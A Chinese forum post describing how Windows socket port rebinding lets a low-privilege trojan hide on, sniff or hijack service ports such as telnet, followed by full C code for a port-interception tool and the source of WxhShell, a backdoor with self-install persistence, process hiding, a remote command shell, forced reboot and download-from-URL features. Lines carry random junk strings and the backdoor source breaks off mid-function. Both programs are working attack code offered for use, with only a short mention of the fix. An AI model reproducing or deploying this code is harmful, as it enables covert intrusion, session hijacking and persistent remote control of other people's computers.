社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16184阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m"k i*9]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y2d_b/  
_ ;v _L  
  saddr.sin_family = AF_INET; {ILQ CvP*  
aG8;,H=%,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cfF-e93T  
o F,R@f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |$i1]Dr6  
dRarNW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `\}zm~  
)xXrs^  
  这意味着什么?意味着可以进行如下的攻击: ./z"P]$  
]MBJ"1F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xfZ9&g  
J^e|"0d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S a#d?:L  
/-cX(z 7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A*?/F:E  
u+"hr"}${  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8wNU2yH+D  
bC>yIjCTn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~S~x@&yR  
ESXU, qK]v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TbSt {TX  
ff2.| 20  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kgib$t_7  
FkkZyCqZ`  
  #include #6#BSZ E  
  #include #gr+%=S'6C  
  #include _a:!U^4  
  #include    s`7 _J9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M`f;-  
  int main() %)!~t8To  
  { %d~9at6-B  
  WORD wVersionRequested; gEe W1:AB  
  DWORD ret; ]f+D& qZ B  
  WSADATA wsaData; :7AauoI  
  BOOL val; mqfEs0~I  
  SOCKADDR_IN saddr; D=Yag!1  
  SOCKADDR_IN scaddr; Y_TL4  
  int err; "#"Fp&Z7  
  SOCKET s; % /wP2O<  
  SOCKET sc; 0zk T8'v  
  int caddsize; GqF.T#|  
  HANDLE mt; rSFXchD/  
  DWORD tid;   "Ezr-4  
  wVersionRequested = MAKEWORD( 2, 2 ); 5d>YE  
  err = WSAStartup( wVersionRequested, &wsaData ); %.Q2r ?j  
  if ( err != 0 ) { sfBjA  
  printf("error!WSAStartup failed!\n"); t.i9!'Y ]  
  return -1; [n@!=T  
  } =<27qj  
  saddr.sin_family = AF_INET; RHA>fXp  
   WSX@0A.&)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  z]R!l%`  
U Edl"FwM4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I]j/ ab7>  
  saddr.sin_port = htons(23); 3qd-,qC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jb-QP'$@  
  { @=| b$E  
  printf("error!socket failed!\n"); ;),O*Z|"v  
  return -1; %A Du[M.  
  } q2o$s9}B  
  val = TRUE; eDMwY$J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M5bj |tQ4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #j ~FA3O  
  { ]> "/<"  
  printf("error!setsockopt failed!\n"); R5~vmT5W  
  return -1; ;ZW}47:BS6  
  } jgfP|oD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "rlSK >`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 R@{/$p:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X9BBnZ  
U=<.P;+f9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -W"0,.Dvg  
  { "a_D]D(d5  
  ret=GetLastError(); i1H80m s  
  printf("error!bind failed!\n"); F/,<dNJ  
  return -1; N[D\@o  
  } :{='TMJ7  
  listen(s,2); V5^b6$R@  
  while(1) OU964vv  
  { R;m0eG`  
  caddsize = sizeof(scaddr); R~?;KJ  
  //接受连接请求 vrEaNT$J-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oL/^[TXjH  
  if(sc!=INVALID_SOCKET) XjM)/-w  
  { X;a{JjN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rH_:7#.E  
  if(mt==NULL) uEO2,1+  
  { 8t 35j   
  printf("Thread Creat Failed!\n"); GP k Cgb(  
  break; jtOsb91c}  
  } Oh85*3  
  } UA u4x 7  
  CloseHandle(mt); uF|ix.R6  
  } >WS& w;G  
  closesocket(s); ~rfjQPbh9x  
  WSACleanup(); FH5bC6  
  return 0; 2A;[Ek6{q  
  }   sNpBTG@{l  
  DWORD WINAPI ClientThread(LPVOID lpParam) m6ws #%|[  
  { .F$AmVTN  
  SOCKET ss = (SOCKET)lpParam; x!Y@31!Dy  
  SOCKET sc; @ tp7tB ;  
  unsigned char buf[4096]; 8`?j*FV7kq  
  SOCKADDR_IN saddr; &1C9K>  
  long num; )h!l%72  
  DWORD val; Yt<PKs#E  
  DWORD ret; Y>m=cqR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0mi[|~x=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V.[#$ip6:  
  saddr.sin_family = AF_INET; '{*>hj5.8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P T.jR*  
  saddr.sin_port = htons(23); y!D`.'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -"tgEC\tD  
  { PKs%-Uk  
  printf("error!socket failed!\n"); %>U*A  
  return -1; hCoL j6Vx  
  } aw~EK0yU   
  val = 100; qxr&_r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `ha:Gf  
  { /6*.%M>r  
  ret = GetLastError(); #\["y%;W  
  return -1; ^<Tp-,J$EN  
  } G&H"8REm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {mitF  
  { BfLZ  
  ret = GetLastError(); qiryC7.E  
  return -1; 0-~x[\>>  
  } [$Bb'],k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >Ga1p'8FtU  
  { 9>>}-;$  
  printf("error!socket connect failed!\n"); y5D?Bg|M  
  closesocket(sc); H?^#zj`Ex+  
  closesocket(ss); V-r<v1}M  
  return -1; ~,1q :Kue  
  } 6EWB3.x19  
  while(1) {EN@,3bA  
  { BT#g?=n#`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }f'1x%RS^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j}*+-.YF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,#O8:s  
  num = recv(ss,buf,4096,0); ?C2;:ol  
  if(num>0) j7+t@DqQ  
  send(sc,buf,num,0); vp9<.*h  
  else if(num==0) 4^^rOi0  
  break; jch8d(`?d  
  num = recv(sc,buf,4096,0); ay|{!MkQ  
  if(num>0) Y6PA\7Y\  
  send(ss,buf,num,0); xJGeIh5  
  else if(num==0) \8aF(Y^H  
  break; nv{4 U}&P  
  } k|C8sSH  
  closesocket(ss); ?zu{&aOX|  
  closesocket(sc); 28yxX431S  
  return 0 ; cN>i3}fq  
  } *v3 |  
[![ (h %  
AwrK82  
========================================================== wO%:WL$5  
_If?&KJ r  
下边附上一个代码,,WXhSHELL v |2j~  
R!qrb26k  
========================================================== (W!$6+GT  
DdO '  
#include "stdafx.h" mhuaXbr  
,?/<fxIY  
#include <stdio.h> %/on\*Vh3  
#include <string.h> e_-/p`9  
#include <windows.h> *b_54X%3  
#include <winsock2.h> ~`H<sJ?9  
#include <winsvc.h> mh]$g<*m  
#include <urlmon.h> r/2:O92E  
mkA|gM[g7  
#pragma comment (lib, "Ws2_32.lib") 7#3)&"j  
#pragma comment (lib, "urlmon.lib") D:EF@il  
)c !S@Hs  
#define MAX_USER   100 // 最大客户端连接数 GA}^Rh`T-  
#define BUF_SOCK   200 // sock buffer Uroj%xN  
#define KEY_BUFF   255 // 输入 buffer TMsoQ82  
 e5]AB  
#define REBOOT     0   // 重启 +cH(nZ*f  
#define SHUTDOWN   1   // 关机 1D6O=j\  
\TlUC<urP  
#define DEF_PORT   5000 // 监听端口 oy: MM  
2&URIQg*J  
#define REG_LEN     16   // 注册表键长度 ?Fpl.t~  
#define SVC_LEN     80   // NT服务名长度 18`%WUPnT  
E%B Gf}h  
// 从dll定义API 3>Snd9Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;~1JbP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w'XgW0j{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); efR$s{n!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n#cN[C9  
qT @IY)e  
// wxhshell配置信息 s\!vko'M  
struct WSCFG { q:^Cw8  
  int ws_port;         // 监听端口 KK$A 4`YoR  
  char ws_passstr[REG_LEN]; // 口令 Ghc0{M<  
  int ws_autoins;       // 安装标记, 1=yes 0=no T%/w^27E  
  char ws_regname[REG_LEN]; // 注册表键名 Jo<6M'  
  char ws_svcname[REG_LEN]; // 服务名 !g"9P7p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c"1d#8J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1bkUT_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T@.D5[q0:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J}CK|}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" au* jMcq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7!;/w;C  
Beg5[4@  
}; *rT(dp!Y  
)xy6R]_b  
// default Wxhshell configuration |vzWSm  
struct WSCFG wscfg={DEF_PORT, pN_!&#|+$  
    "xuhuanlingzhe", F JhVbAMd  
    1, !*6z=:J  
    "Wxhshell", q/79'>`|ai  
    "Wxhshell", 4&fnu/,Z  
            "WxhShell Service", {fD#=  
    "Wrsky Windows CmdShell Service", =)8fE*[s   
    "Please Input Your Password: ", F9w&!yW:  
  1, KW^aARJ)  
  "http://www.wrsky.com/wxhshell.exe", a0\UL"z#+  
  "Wxhshell.exe" !yrHVc  
    }; 06 s3 b  
g<%-n,  
// 消息定义模块 _xt(II   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ku8c)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _<Yo2,1^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %WR"85  
char *msg_ws_ext="\n\rExit."; *`T &Dlt'8  
char *msg_ws_end="\n\rQuit."; H_nJST<v`  
char *msg_ws_boot="\n\rReboot..."; 7+4"+CA  
char *msg_ws_poff="\n\rShutdown..."; 8ZfIh   
char *msg_ws_down="\n\rSave to "; 7:'>~>'  
c F]3gM  
char *msg_ws_err="\n\rErr!"; |>GIPfVT  
char *msg_ws_ok="\n\rOK!"; H%aLkV!J  
-74T C  
char ExeFile[MAX_PATH]; >/bK?yT<  
int nUser = 0; DjvgKy=Jr_  
HANDLE handles[MAX_USER]; 0EXNq*=EE  
int OsIsNt; y/eX(l<{  
Un{ln*AR\  
SERVICE_STATUS       serviceStatus; %nF\tVP3]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XtdLKYET  
! -@!u   
// 函数声明 Qe.kN dT+_  
int Install(void); r0 C6Ww7u  
int Uninstall(void); _\PoZ|G4y  
int DownloadFile(char *sURL, SOCKET wsh); E,yK` mPp^  
int Boot(int flag); a@ }r[0O  
void HideProc(void); d<nB=r!*  
int GetOsVer(void); :/%xK"  
int Wxhshell(SOCKET wsl); \w[%n0  
void TalkWithClient(void *cs); |/s2AzDD  
int CmdShell(SOCKET sock); [d>yo_iB  
int StartFromService(void); ~')t1Ay s  
int StartWxhshell(LPSTR lpCmdLine); F6VIH(  
\ZZy`/~z*7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @$Kq<P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o{W]mr3D  
=XlIe{  
// 数据结构和表定义 ODA#vAc!  
SERVICE_TABLE_ENTRY DispatchTable[] = q.km>XRk~  
{ wJ*-K-  
{wscfg.ws_svcname, NTServiceMain}, [ {LnE:  
{NULL, NULL} ?^4sE-C6  
}; IkNt! 2s_  
AiHf?"EVT  
// 自我安装 ?u!AHSr(  
int Install(void) bKZ#>%|:o  
{ OUO^/] J1S  
  char svExeFile[MAX_PATH]; vaJXX  
  HKEY key; h ]$?~YE  
  strcpy(svExeFile,ExeFile); kA=~ 8N  
i9U_r._qj;  
// 如果是win9x系统,修改注册表设为自启动 G<6grd5PP  
if(!OsIsNt) { $50"3g!Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _5 tqO5'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z}2e;d 7  
  RegCloseKey(key); m@yVG|eP#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _k.bGYldk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jd"s~n<>K  
  RegCloseKey(key); N4|q2Jvj6  
  return 0; ,!u@:UBT  
    } )Hm[j)YI  
  } X`QW(rq  
} ?$4R <  
else { bMOM`At>z  
|hQ|'VCN  
// 如果是NT以上系统,安装为系统服务 HKN"$(Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qpqz. {\  
if (schSCManager!=0) 7qK0!fk5  
{ 3N0X?* (x|  
  SC_HANDLE schService = CreateService G2{M#H  
  ( RTBBb:eX  
  schSCManager, ;Jn0e:x`E  
  wscfg.ws_svcname, -7z y  
  wscfg.ws_svcdisp, e - ]c  
  SERVICE_ALL_ACCESS, &dDI*v+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E816 YS='  
  SERVICE_AUTO_START, _s-HlE?C  
  SERVICE_ERROR_NORMAL, 5po' (r|U  
  svExeFile, l~!fQ$~  
  NULL, C!k9JAa$Z  
  NULL, rnv7L^9^A  
  NULL, b\j&!_   
  NULL, +xBK^5/x  
  NULL <i\zfa'6  
  ); 'Mx K}9  
  if (schService!=0) 7r[ %| :  
  { bNpIC/#0K  
  CloseServiceHandle(schService); 'L|GClc6)  
  CloseServiceHandle(schSCManager); 'S4EKV]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  |iUfM3  
  strcat(svExeFile,wscfg.ws_svcname); RzJ}CT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p6y0W`U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &DQ4=/Z  
  RegCloseKey(key); ka)LK@p6  
  return 0; X >Xp&o  
    }  QXxLe*  
  } jvc?hUcLKT  
  CloseServiceHandle(schSCManager); '}pgUh_  
} OG^WZ.YU  
} ;(0(8G  
KD"&_PX  
return 1; OWXye4`*  
} % X ,B-h^  
QJIItx4hE  
// 自我卸载 y(3c{y@~X  
int Uninstall(void) Ma=6kX]  
{ h$7Fe +#I#  
  HKEY key; q?-3^z%u  
eMl]td rI  
if(!OsIsNt) { +>WC^s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8Z4?X%  
  RegDeleteValue(key,wscfg.ws_regname); keQXJ0  
  RegCloseKey(key); S|q!? /jqj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U|Z>SE<k  
  RegDeleteValue(key,wscfg.ws_regname); ')u5l  
  RegCloseKey(key); XL7;^AE^Wl  
  return 0; 9oz(=R  
  } ,D@ ;i  
} f5yux}A{  
} W93JY0Ls9|  
else { &I}T<v{f  
Q),3&4pM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >4|c7z4  
if (schSCManager!=0) lKV\1(`  
{ jq("D,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l'7Mw%6{  
  if (schService!=0) *L;pcg8{  
  { U.hERe ~X  
  if(DeleteService(schService)!=0) { P7wqZ?  
  CloseServiceHandle(schService); >)n4s Mq  
  CloseServiceHandle(schSCManager); aq0iNbv@  
  return 0; s@ 2 0#D  
  } ^?s~Fk_V  
  CloseServiceHandle(schService); R7B,Q(q2-  
  } :e&n.i^  
  CloseServiceHandle(schSCManager); gVnws E  
} KM6N'x^z  
} Y1fy2\<'  
@ k+%y'Y?  
return 1; q M_/  
} ia^%Wg7  
5qd_>UHp  
// 从指定url下载文件 ksu}+i,a  
int DownloadFile(char *sURL, SOCKET wsh) '6o`^u>  
{ hEv=T'*,K)  
  HRESULT hr; 'wz\tT^  
char seps[]= "/"; o=-Vt,2{  
char *token; b\?7?g  
char *file; ljYpMv.>xG  
char myURL[MAX_PATH]; aVppOxA  
char myFILE[MAX_PATH]; # cN_y  
_)zmIB(}m  
strcpy(myURL,sURL); ws>WA{]gq  
  token=strtok(myURL,seps); BSfm?ku"!  
  while(token!=NULL) tM^;?HL]  
  { +HOCVqx  
    file=token; :WK"-v  
  token=strtok(NULL,seps); _(oP{w gB  
  } vv2vW=\  
ePq13!FC/  
GetCurrentDirectory(MAX_PATH,myFILE); ceb s.sF:  
strcat(myFILE, "\\"); gV"qV   
strcat(myFILE, file); `dv}a-Q)c  
  send(wsh,myFILE,strlen(myFILE),0); /ojO>Y[<   
send(wsh,"...",3,0); Sa;<B:|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &c!j`86y*  
  if(hr==S_OK) j\`EUC  
return 0; [lNqT1%]  
else PTbA1.B  
return 1; Pt6hGSo.  
EjR_-8@FK  
} CxbSj,  
*GbVMW[A>  
// 系统电源模块 \~@[QGKN  
int Boot(int flag) *xE"8pN/  
{ c=A(o  
  HANDLE hToken; 9Fy\t{ks  
  TOKEN_PRIVILEGES tkp; ""1#bs{n  
bBUbw*DF)  
  if(OsIsNt) { lAdDu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1B)Y;hg6&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7P<r`,~k-  
    tkp.PrivilegeCount = 1; bQ-Gp;]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E`Jp(gK9F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &W=V%t>Z  
if(flag==REBOOT) { -}{%Q?rYj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qQfqlD<  
  return 0; #XTY7,@ P  
} [3O^0-:6E  
else { $ Wit17j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @+'c+  
  return 0; k}-yOP{  
} :/C ?FHs9  
  } ;^R A!Nj  
  else { .:}.b"%m  
if(flag==REBOOT) { #ZG3|#Q=L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7 I_1 #O  
  return 0; B4]AFRI  
} , CJAzGBS  
else { 4. 1rJa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qbS'|--wH  
  return 0; &/Eg2  
} Lw*;tL<,  
} 9[cp7 Rcb  
uYFMv=>j  
return 1; %1Bn_  
} [Q4_WKI0T  
Q)09]hP[Xj  
// win9x进程隐藏模块 j*uXB^ 4  
void HideProc(void) Z?m -&%  
{ ipG5l  
x|]\1sb"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iM:yX=>a  
  if ( hKernel != NULL ) e8$l0gzaD  
  { drW~)6Lr@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KK?Zm_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9mam ~)_ |  
    FreeLibrary(hKernel); exfm q  
  } i 3m3zXt  
gRBSt M&hU  
return; gks ==|s.  
} bf& }8I$  
_p\629`  
// 获取操作系统版本 &!ED# gs  
int GetOsVer(void) ?2{bKIV_  
{ _|N}4a  
  OSVERSIONINFO winfo; 3pvYi<<D'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !X^Hi=aV  
  GetVersionEx(&winfo); :6XguU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /\na;GI$  
  return 1; M70c{s`w5  
  else l0I}&,+  
  return 0; vt//)*(.$  
} ujU=JlJ7dl  
g %f*ofb  
// 客户端句柄模块 z9[[C^C  
int Wxhshell(SOCKET wsl) YRPm^kW  
{ 7 _`L$<-n  
  SOCKET wsh; J , V  
  struct sockaddr_in client; pgT9hle/  
  DWORD myID; t)` p@]j  
m9Ax\lf  
  while(nUser<MAX_USER) OFA{ KZga  
{  3P1&;  
  int nSize=sizeof(client); nSS>\$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P` #QGZ>  
  if(wsh==INVALID_SOCKET) return 1; [r(Qs|  
r#A_RZ2~@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7KU~(?|:h  
if(handles[nUser]==0) 7c-Gm R2  
  closesocket(wsh); /RGNAHtIi  
else Guh%eR'Wt  
  nUser++; rz6uDJ"  
  } :p' VbQZ{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qz9tr  
U[R@x`  
  return 0; Z%m-HE:k  
} -D^L}b  
|g%mP1O  
// 关闭 socket ;imRh'-V6  
void CloseIt(SOCKET wsh) f/,tgA  
{ h35Hu_c&  
closesocket(wsh); 1"}cdq.  
nUser--; Z?oG*G:  
ExitThread(0); TI=h_%mO  
} QYQtMb,  
#O~XVuvF0  
// 客户端请求句柄 .-0%6] cFD  
void TalkWithClient(void *cs) $6T3y8  
{ n 6{2]&sd  
MM?`voj~`p  
  SOCKET wsh=(SOCKET)cs; Y>B P?l  
  char pwd[SVC_LEN]; m 41t(i  
  char cmd[KEY_BUFF]; 'Hw4j:pS  
char chr[1]; nBN&.+3t  
int i,j; @wp4 |G  
[|[>}z:  
  while (nUser < MAX_USER) { q]\X~ 9#  
&-%X:~|:X  
if(wscfg.ws_passstr) { P}V=*g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k;I  &.H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tr& }$kird  
  //ZeroMemory(pwd,KEY_BUFF); *#y;8  
      i=0; JqCc;Cbd  
  while(i<SVC_LEN) { !g>.i`  
_n"Ae?TP  
  // 设置超时 fj>C@p  
  fd_set FdRead; 09S6#;N&  
  struct timeval TimeOut; ;;Ds  
  FD_ZERO(&FdRead); {fV}gR2  
  FD_SET(wsh,&FdRead); :m'+tGs  
  TimeOut.tv_sec=8; vMla'5|l  
  TimeOut.tv_usec=0; NOt@M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T@[!A);  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f?56=& pHY  
K=?VDN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RKZ6}q1n  
  pwd=chr[0]; x0Yse:RE^  
  if(chr[0]==0xd || chr[0]==0xa) { S[,8TErz  
  pwd=0; Vw#{C>  
  break; :!fG; )=  
  } *1{S*`|cJy  
  i++; K>2#UzW  
    } AW,OH SXh6  
K-eY|n  
  // 如果是非法用户,关闭 socket "&~ 0T#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TZRcd~5$  
} @ O>&5gB1u  
I]nHbghcW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w,1Ii}d9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }P9Ap3?  
1mH%H*#  
while(1) { R}:KE&tq  
uj|BQ`k  
  ZeroMemory(cmd,KEY_BUFF); ~u87H?  
[zkikZy  
      // 自动支持客户端 telnet标准   o.-C|IXG  
  j=0; |J0Q,F]T  
  while(j<KEY_BUFF) { ' GG=Ebt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G{9X)|d  
  cmd[j]=chr[0]; l4y{m#/  
  if(chr[0]==0xa || chr[0]==0xd) { pS[KBQ"F  
  cmd[j]=0; {/<6v. v  
  break; 7=XL!:P  
  } RDM`9&V!jp  
  j++; c+dg_*^  
    } <#+44>h  
WO</Mw  
  // 下载文件 LN2D  
  if(strstr(cmd,"http://")) { <3okiV=ox  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^pnG0(9  
  if(DownloadFile(cmd,wsh)) Avlz=k1*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C\ZkGX  
  else m-/j1GZ*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qTQ!jN  
  } "xRBE\B  
  else { oslJC$cy'  
a`(a)9i  
    switch(cmd[0]) { q2rUbU_A(  
  x]|+\1  
  // 帮助 m~hoE8C$  
  case '?': { s;flzp8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TBrGA E  
    break; }MbH3ufC  
  } Q,h7Sk*  
  // 安装 C1EtoOv K  
  case 'i': { %wptZ"2M  
    if(Install()) k0-G$|QgIp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e`>{$t  
    else ,m<H-gwa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3]&o*Ib1`_  
    break; E\nv~Y?SG  
    } X>YsQrK(ig  
  // 卸载 JwnQ0 e  
  case 'r': { t*<#<a  
    if(Uninstall()) I zbU)ud  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CSPKP#,B0[  
    else F}GPZ=T;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YC_5YY(k  
    break; !QI\Fz?  
    } 8vSse  
  // 显示 wxhshell 所在路径 YW@#91.  
  case 'p': { hwN?/5  
    char svExeFile[MAX_PATH]; `+:.L>5([  
    strcpy(svExeFile,"\n\r"); !HeSOzN  
      strcat(svExeFile,ExeFile); ^u}L;`L  
        send(wsh,svExeFile,strlen(svExeFile),0);  7R#+Le)  
    break; dC\ZjZZ  
    } u]+~VT1C,3  
  // 重启 .\0isO  
  case 'b': { W|:lVAP.|}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %ek'~  
    if(Boot(REBOOT)) h:zK(;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + b$=[nfG  
    else { \#-W <  
